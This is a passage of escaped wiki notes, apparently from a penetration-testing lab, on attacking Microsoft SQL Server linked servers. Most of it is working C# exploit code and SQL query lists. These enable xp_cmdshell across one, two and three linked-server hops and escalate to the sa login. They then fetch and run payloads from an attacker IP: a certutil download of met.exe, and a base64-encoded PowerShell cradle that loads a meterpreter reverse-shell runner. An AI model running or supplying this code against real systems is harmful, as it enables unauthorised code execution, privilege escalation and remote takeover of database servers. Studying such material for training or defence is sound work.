                    String ExecCmd = &amp;quot;EXEC cmdExec &#039;certutil -urlcache -split -f http://192.168.45.244/met.exe C:\\windows\\tasks\\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\\windows\\tasks\\met.exe&#039;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(ExecCmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Read();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Result of the command is: &amp;quot; + reader[0]);&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* You cannot use CREATE ASSEMBLY on an assembly more than once without first removing the existing one. To do this, use the DROP ASSEMBLY command. Moreover, if there&#039;s a procedure dependent on the assembly, it must be removed first using the DROP PROCEDURE command.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
string dropproc = &amp;quot;DROP PROCEDURE cmdExec&amp;quot;;&lt;br /&gt;
string dropasm = &amp;quot;DROP ASSEMBLY myAssembly&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linked SQL Servers ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Linked SQL servers allow one SQL server to connect to another.&lt;br /&gt;
&lt;br /&gt;
* The execution context during the connection can be dynamic or a specific SQL login.&lt;br /&gt;
&lt;br /&gt;
* If a sysadmin role login is chosen, sysadmin privileges can be obtained on the linked SQL server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Concepts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* If the linked SQL server uses a sysadmin role login, even low privileged access on the original server can lead to sysadmin privileges on the linked server.&lt;br /&gt;
&lt;br /&gt;
* sp_linkedservers stored procedure enumerates linked servers.&lt;br /&gt;
&lt;br /&gt;
* OPENQUERY keyword can be used to perform SQL queries on linked servers.&lt;br /&gt;
&lt;br /&gt;
* Microsoft SQL uses Remote Procedure Call (RPC) to update running configurations on remote servers.&lt;br /&gt;
&lt;br /&gt;
* RPC Out setting must be enabled for RPC to work on linked servers.&lt;br /&gt;
&lt;br /&gt;
* sp_serveroption stored procedure can enable RPC Out if the current user has sysadmin role membership.&lt;br /&gt;
&lt;br /&gt;
* AT keyword specifies which linked SQL server a query should be executed on.&lt;br /&gt;
&lt;br /&gt;
==== Query list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enable RPC Out&lt;br /&gt;
EXEC sp_serveroption &#039;sql27&#039;, &#039;rpc out&#039;, &#039;true&#039;;&lt;br /&gt;
# Enumerate linked servers&lt;br /&gt;
EXEC sp_linkedservers;&lt;br /&gt;
# Execute command using openquery&lt;br /&gt;
SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&lt;br /&gt;
# Enable advanced options&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&lt;br /&gt;
# Enable xp_cmdshell&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&lt;br /&gt;
# Example&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;xp_cmdshell &#039;&#039;whoami&#039;&#039;;&#039;) AT SQL53;&lt;br /&gt;
# Double hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -enc XXXXX&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
# Tripple hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039; &#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
The code below will enumerate linked SQL servers. Running the code below in the lab will sho us that &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String execCmd = &amp;quot;EXEC sp_linkedservers;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(execCmd, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Querying Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Since we know from the enumeration above that &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked to &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; we can query the linked SQL server&lt;br /&gt;
&lt;br /&gt;
* This will print the version of the linked SQL Server.&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of double quotes.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Point 2: Querying Linked Servers using OPENQUERY&lt;br /&gt;
            String queryCmd = &amp;quot;SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&amp;quot;;&lt;br /&gt;
            SqlCommand queryCommand = new SqlCommand(queryCmd, con);&lt;br /&gt;
            SqlDataReader queryReader = queryCommand.ExecuteReader();&lt;br /&gt;
            while (queryReader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server version: &amp;quot; + queryReader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            queryReader.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Executing Commands on Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Use the AT keyword to specify the linked server.&lt;br /&gt;
&lt;br /&gt;
* Example: &amp;lt;code&amp;gt;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT DC01&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of single quotes in SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Enable &#039;show advanced options&#039; through DC01&lt;br /&gt;
            String execCmd = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand execCommand = new SqlCommand(execCmd, con);&lt;br /&gt;
            execCommand.ExecuteNonQuery();&lt;br /&gt;
            // Check if &amp;quot;show advanced options&amp;quot; is enabled on DC01 using OPENQUERY&lt;br /&gt;
            String checkCmd = &amp;quot;SELECT value_in_use FROM OPENQUERY(DC01, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;show advanced options);&amp;quot;;&lt;br /&gt;
            SqlCommand checkCommand = new SqlCommand(checkCmd, con);&lt;br /&gt;
            int valueInUse = Convert.ToInt32(checkCommand.ExecuteScalar());&lt;br /&gt;
            if (valueInUse == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Command executed successfully: &#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is not enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            String enablexpcmdshell = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand enablexpcmdshell1 = new SqlCommand(enablexpcmdshell, con);&lt;br /&gt;
            enablexpcmdshell1.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.244/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
            //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
            //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            //$EncodedText&lt;br /&gt;
            string execmd = &amp;quot;EXEC (&#039;xp_cmdshell &#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand runthis = new SqlCommand(execmd, con);&lt;br /&gt;
            runthis.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* We know from above that appsrv01 has a link to dc01. We might query dc01 to see if it has any links to another SQL server. In this example we assume that appsrv01 has a link to dc01, and dc01 has a link to appsrv01.&lt;br /&gt;
&lt;br /&gt;
* If a SQL server on one machine (e.g., dc01) has a link to another (e.g., appsrv01), you can potentially use this link for privilege escalation.&lt;br /&gt;
&lt;br /&gt;
* Use the OPENQUERY keyword to execute a query on one server and inside that, execute another query on the linked server.&lt;br /&gt;
&lt;br /&gt;
To enumerate if the linked SQL server has another link, we can use the code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0].ToString());&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will use &amp;lt;code&amp;gt;OpenQuery&amp;lt;/code&amp;gt; twice. First on the linked SQL server dc01, and back again to appsrv01 to enumerate the login user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
String query = &amp;quot;select mylogin from openquery(\&amp;quot;dc01\&amp;quot;, &#039;select mylogin from openquery(\&amp;quot;appsrv01\&amp;quot;, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
while (reader.Read())&lt;br /&gt;
{&lt;br /&gt;
    Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0].ToString());&lt;br /&gt;
}&lt;br /&gt;
reader.Close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Code Exection&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Using the code below will give us code execution on &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; through &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; as the &amp;lt;code&amp;gt;sa&amp;lt;/code&amp;gt; user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static string sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
        static string database = &amp;quot;master&amp;quot;;&lt;br /&gt;
        static string conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                ListLinkedServers(con);&lt;br /&gt;
                DisplayCurrentLoginThroughDC01(con);&lt;br /&gt;
                DisplayCurrentLoginLocal(con);&lt;br /&gt;
                EnableAdvancedOptionsOnBothServers(con);&lt;br /&gt;
                EnableXpCmdShellOnBothServers(con);&lt;br /&gt;
                ExecutePayloadOnAppsrv01ThroughDC01(con);&lt;br /&gt;
                con.Close();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ListLinkedServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            string query = &amp;quot;select mylogin from openquery(dc01, &#039;select mylogin from openquery(appsrv01, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
            ExecuteReader(con, query, reader =&amp;gt; Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginLocal(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;SELECT SYSTEM_USER;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Executing as login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableAdvancedOptionsOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE;&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableXpCmdShellOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            // Enable xp_cmdshell on appsrv01 through DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            // Enable xp_cmdshell on DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;xp_cmdshell&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;xp_cmdshell&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        static void ExecutePayloadOnAppsrv01ThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;&#039;&#039;&#039; &#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteReader(SqlConnection con, string query, Action action)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlDataReader reader = cmd.ExecuteReader())&lt;br /&gt;
                {&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        action(reader);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ExecuteNonQuery(SqlConnection con, string query)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
                {&lt;br /&gt;
                    cmd.ExecuteNonQuery();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception ex)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Failed to execute query. Error: {ex.Message}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static bool CheckIfOptionEnabled(SqlConnection con, string server, string option)&lt;br /&gt;
        {&lt;br /&gt;
            string query = server == &amp;quot;DC01&amp;quot;&lt;br /&gt;
                ? $&amp;quot;SELECT value_in_use FROM OPENQUERY({server}, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;{option});&amp;quot;&lt;br /&gt;
                : $&amp;quot;SELECT value_in_use FROM sys.configurations WHERE name = &#039;{option}&#039;;&amp;quot;;&lt;br /&gt;
            using (SqlCommand cmd = new SqlCommand(query, con))&lt;br /&gt;
            {&lt;br /&gt;
                return Convert.ToInt32(cmd.ExecuteScalar()) == 1;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Automating linked SQL enum and attacks ===&lt;br /&gt;
&lt;br /&gt;
==== PowerUpSQL.ps1 ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#MSSQL_Trusted_Links Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/PowerUpSQL GitHub - NetSPI/PowerUpSQL: PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server]&lt;br /&gt;
&lt;br /&gt;
==== Evil SQL Client ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/ESC GitHub - NetSPI/ESC: Evil SQL Client (ESC) is an interactive .NET SQL console client with enhanced SQL Server discovery, access, and data exfiltration features. While ESC can be a handy SQL Client for daily tasks, it was originally designed for targeting SQL Servers during penetration tests and red team engagements. The intent of the project is to provide an .exe, but also sample files for execution through mediums like msbuild and PowerShell.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First run the .exe on target machine&lt;br /&gt;
# Find domainspns&lt;br /&gt;
SQLCLIENT&amp;gt; discover domainspn&lt;br /&gt;
# Show discovered instances.&lt;br /&gt;
SQLCLIENT&amp;gt; show discovered&lt;br /&gt;
# List links information for accessoble target SQL Server instances.&lt;br /&gt;
list links&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== MSSQL Pwner (Best tool) ====&lt;br /&gt;
&lt;br /&gt;
